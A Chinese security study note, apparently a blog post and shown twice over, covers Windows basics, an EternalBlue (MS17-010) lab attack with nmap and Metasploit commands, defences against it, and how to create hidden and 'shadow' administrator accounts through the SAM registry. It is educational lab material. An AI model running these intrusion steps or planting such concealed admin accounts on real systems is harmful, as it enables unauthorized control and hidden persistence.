文中所作实验均在靶机中进行请勿在未授权的条件下对物理机使用。操作系统核心概念操作系统Operating System简称 OS是管理和控制计算机硬件与软件资源的核⼼程序是直接运⾏在裸机上的最基本系统软件所有其他软件都必须在操作系统的⽀持下才能运⾏。主流操作系统分类操作系统核心特点应用场景Windows微软研发图形界⾯友好兼容性强企业服务器、个⼈办公电脑、专⽤⼯业设备Linux⾃由开源稳定性⾼安全性强服务器、嵌⼊式设备、渗透测试环境macOS苹果专有⽣态闭环⽤户体验佳设计师、开发者⼯作站永恒之蓝漏洞永恒之蓝是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限以此来控制被入侵的计 算机。永恒之蓝是在 Windows 的SMB服务处理SMB v1请求时发生的漏洞这个漏洞导致攻击者在目标 系统上可以执行任意代码。实验环境攻击机kali联网安装Metasploit框架目标机win7开机SMB服务未安装MS17-010补丁首先打开kali的终端提权。1.漏洞扫描通过 nmap 脚本检测⽬标是否存在 MS17-010 漏洞输入nmap -sV -p445 --scriptsmb-vuln-ms17-010 目标主机IP 若输出中显示VULNERABLE则确认⽬标存在该漏洞。若输入中存在vulnerable则证明改漏洞存在2.启动 Metasploit 框架输入msfconsole启动界面会有所不同是正常的最下面显示msf6就证明启动成功。搜索并加载漏洞利⽤模块输入search ms17-010查找相关模块。其中编号为0的模块就是我们需要的攻击模块。输入use exploit/windows/smb/ms17_010_eternalblue配置攻击参数依次输入show optionssetrhosts目标主机IPsetlhost攻击机IP本机IP执⾏攻击获取 Meterpreter 会话输入run弹出上述界面即证明攻击成功上图为Meterpreter 核⼼操作常⽤命令至此永恒之蓝漏洞已经攻击完成。如何防御1.禁⽤ SMBv1 协议漏洞载体⽅法控制⾯板→程序→程序和功能→启⽤或关闭 Windows 功能→取消勾选「SMB 1.0/CIFS⽂件共享⽀持」→「确定」2.安装安全补丁通过 Windows Update ⾃动更新或⼿动下载 MS17-010 对应补丁KB4012212/KB4012215 等根据系统版本选择3.防⽕墙端⼝管控阻⽌ TCP 139、445 端⼝的⼊站和出站连接企业内⽹可根据业务需求配置 IP ⽩名单仅允许授权设备访问4.终端防护强化不打开陌⽣邮件附件、不点击可疑链接启⽤ Windows Defender 或安装第三⽅杀毒软件保持病毒库更新用户与用户组账户类型与权限等级账户类型权限描述适⽤场景管理员账户Administrator拥有系统完全控制权限可修改系统配置、安装软件、管理其他⽤户服务器管理、系统维护标准⽤户账户仅拥有⾃身⽂件操作和部分软件使⽤权限⽆法修改系统核⼼配置普通员⼯办公、个⼈⽇常使⽤来宾账户Guest权限最低仅能浏览部分⽂件默认禁⽤临时访客使⽤在每个用户组具有不同的权限身处在用户组的用户则自动拥有所在用户组的权限无需管理员赋予。常见的关于用户与用户组的命令特殊用户隐藏用户隐藏用户不显示在net user所显示的用户表中但可以在计算机的用户表中看到创建方法net user tianmo(用户名)$ 密码 /add影子用户影子用户是将管理员的权限文件复制给普通用户即普通用户可以使用管理员的权限实现隐藏控制。操作步骤a.打开注册表编辑器WinR→ 输⼊regedit→ 回⻋b.定位路径HKEY_LOCAL_MACHINE\SAM\SAM右键「SAM」→「权限」→ 勾选当前⽤户的「完全控制」→「确定」c.展开路径SAM\Domains\Account\Users\Names找到「Administrator」记录其对应的数值名称通常为0x1f4d.点击数值名称如0x1f4复制右侧「F」键值的数据e.创建普通隐藏⽤户net user 用户名$ 123456 /addf.在「Names」路径下找到「用户名$」记录其对应的数值名称如0x1f5g.点击「用户名$」对应的数值名称将右侧「F」键值替换为步骤4复制的管理员「F」键值h.导出该注册表项⽂件→导出然后删除 用户名$⽤户net user 用户名$ /deletei.后续可通过导⼊注册表⽂件恢复影⼦⽤户且⽆明显账户记录
网络安全学习笔记（四）Windows操作系统与永恒之蓝漏洞
文中所作实验均在靶机中进行请勿在未授权的条件下对物理机使用。操作系统核心概念操作系统Operating System简称 OS是管理和控制计算机硬件与软件资源的核⼼程序是直接运⾏在裸机上的最基本系统软件所有其他软件都必须在操作系统的⽀持下才能运⾏。主流操作系统分类操作系统核心特点应用场景Windows微软研发图形界⾯友好兼容性强企业服务器、个⼈办公电脑、专⽤⼯业设备Linux⾃由开源稳定性⾼安全性强服务器、嵌⼊式设备、渗透测试环境macOS苹果专有⽣态闭环⽤户体验佳设计师、开发者⼯作站永恒之蓝漏洞永恒之蓝是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限以此来控制被入侵的计 算机。永恒之蓝是在 Windows 的SMB服务处理SMB v1请求时发生的漏洞这个漏洞导致攻击者在目标 系统上可以执行任意代码。实验环境攻击机kali联网安装Metasploit框架目标机win7开机SMB服务未安装MS17-010补丁首先打开kali的终端提权。1.漏洞扫描通过 nmap 脚本检测⽬标是否存在 MS17-010 漏洞输入nmap -sV -p445 --scriptsmb-vuln-ms17-010 目标主机IP 若输出中显示VULNERABLE则确认⽬标存在该漏洞。若输入中存在vulnerable则证明改漏洞存在2.启动 Metasploit 框架输入msfconsole启动界面会有所不同是正常的最下面显示msf6就证明启动成功。搜索并加载漏洞利⽤模块输入search ms17-010查找相关模块。其中编号为0的模块就是我们需要的攻击模块。输入use exploit/windows/smb/ms17_010_eternalblue配置攻击参数依次输入show optionssetrhosts目标主机IPsetlhost攻击机IP本机IP执⾏攻击获取 Meterpreter 会话输入run弹出上述界面即证明攻击成功上图为Meterpreter 核⼼操作常⽤命令至此永恒之蓝漏洞已经攻击完成。如何防御1.禁⽤ SMBv1 协议漏洞载体⽅法控制⾯板→程序→程序和功能→启⽤或关闭 Windows 功能→取消勾选「SMB 1.0/CIFS⽂件共享⽀持」→「确定」2.安装安全补丁通过 Windows Update ⾃动更新或⼿动下载 MS17-010 对应补丁KB4012212/KB4012215 等根据系统版本选择3.防⽕墙端⼝管控阻⽌ TCP 139、445 端⼝的⼊站和出站连接企业内⽹可根据业务需求配置 IP ⽩名单仅允许授权设备访问4.终端防护强化不打开陌⽣邮件附件、不点击可疑链接启⽤ Windows Defender 或安装第三⽅杀毒软件保持病毒库更新用户与用户组账户类型与权限等级账户类型权限描述适⽤场景管理员账户Administrator拥有系统完全控制权限可修改系统配置、安装软件、管理其他⽤户服务器管理、系统维护标准⽤户账户仅拥有⾃身⽂件操作和部分软件使⽤权限⽆法修改系统核⼼配置普通员⼯办公、个⼈⽇常使⽤来宾账户Guest权限最低仅能浏览部分⽂件默认禁⽤临时访客使⽤在每个用户组具有不同的权限身处在用户组的用户则自动拥有所在用户组的权限无需管理员赋予。常见的关于用户与用户组的命令特殊用户隐藏用户隐藏用户不显示在net user所显示的用户表中但可以在计算机的用户表中看到创建方法net user tianmo(用户名)$ 密码 /add影子用户影子用户是将管理员的权限文件复制给普通用户即普通用户可以使用管理员的权限实现隐藏控制。操作步骤a.打开注册表编辑器WinR→ 输⼊regedit→ 回⻋b.定位路径HKEY_LOCAL_MACHINE\SAM\SAM右键「SAM」→「权限」→ 勾选当前⽤户的「完全控制」→「确定」c.展开路径SAM\Domains\Account\Users\Names找到「Administrator」记录其对应的数值名称通常为0x1f4d.点击数值名称如0x1f4复制右侧「F」键值的数据e.创建普通隐藏⽤户net user 用户名$ 123456 /addf.在「Names」路径下找到「用户名$」记录其对应的数值名称如0x1f5g.点击「用户名$」对应的数值名称将右侧「F」键值替换为步骤4复制的管理员「F」键值h.导出该注册表项⽂件→导出然后删除 用户名$⽤户net user 用户名$ /deletei.后续可通过导⼊注册表⽂件恢复影⼦⽤户且⽆明显账户记录
